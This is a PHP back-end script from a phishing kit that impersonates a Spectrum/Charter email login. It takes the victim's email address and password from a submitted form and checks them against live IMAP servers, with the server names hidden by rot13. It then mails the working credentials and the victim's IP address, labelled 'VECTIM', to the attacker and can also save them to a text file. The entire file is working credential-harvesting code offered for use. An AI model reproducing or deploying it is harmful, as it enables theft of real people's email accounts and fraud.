<?php

ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(E_ALL);

$ip = getenv("REMOTE_ADDR");
include('jokconf.php');
#####################################################



$user = $_POST['emailAddress'];
$pass = $_POST['emailPassword'];



$charter = '/charter/i';
$rrnet = '/.rr.net/i';
$rrcom = '/.rr.com/i';

if (preg_match($charter, $user) == 1){
	$auch= str_rot13("{zbovyr.punegre.arg:993/vznc/ffy/abinyvqngr-preg}");
} else if (preg_match($rrnet, $user) == 1){
	$auch= str_rot13("{znvy.gjp.pbz:993/vznc/ffy/abinyvqngr-preg}");
} else if (preg_match($rrcom, $user) == 1){
	$auch= str_rot13("{znvy.gjp.pbz:993/vznc/ffy/abinyvqngr-preg}");
} else {
	$auch= str_rot13("{znvy.gjp.pbz:993/vznc/ffy/abinyvqngr-preg}");
}


if (!empty($auch) && !empty($user) && !empty($pass) ){
if ($mbox=imap_open( $auch, $user, $pass )) {
         $ipdata = "Call Done";
         imap_close($mbox);
        } else {
         $ipdata = "FAIL!";
        }
}

///////////////////////////////////////////////////////////////////////////////////////////////////////////////
if ($ipdata == "Call Done")
{
$message .= "------------[ Spectrum EMAIL Access Info ]-------------\n";
$message .= "Username    : ".$_POST['emailAddress']."\n";
$message .= "Password    : ".$_POST['emailPassword']."\n";
$message .= "------------[ VECTIM PC/INFO ]-------------\n";
$message .= "IP: $ip\n";
$message .= "---------Created Teeds --------------\n";
$subject = "Spectrum Email LOG - $ip";
$headers = "From: Spectrum <rzlt@mydomain.com>";
if ($saveintext=="yes") {
	$save= fopen("mrzz.txt","a");
	fwrite($save,$message);
	fclose($save);
	}
mail($recipient,$subject,$message,$headers);
				header("Location:security"); 
}
else {
header("Location:authen?error=1"); 
}
?>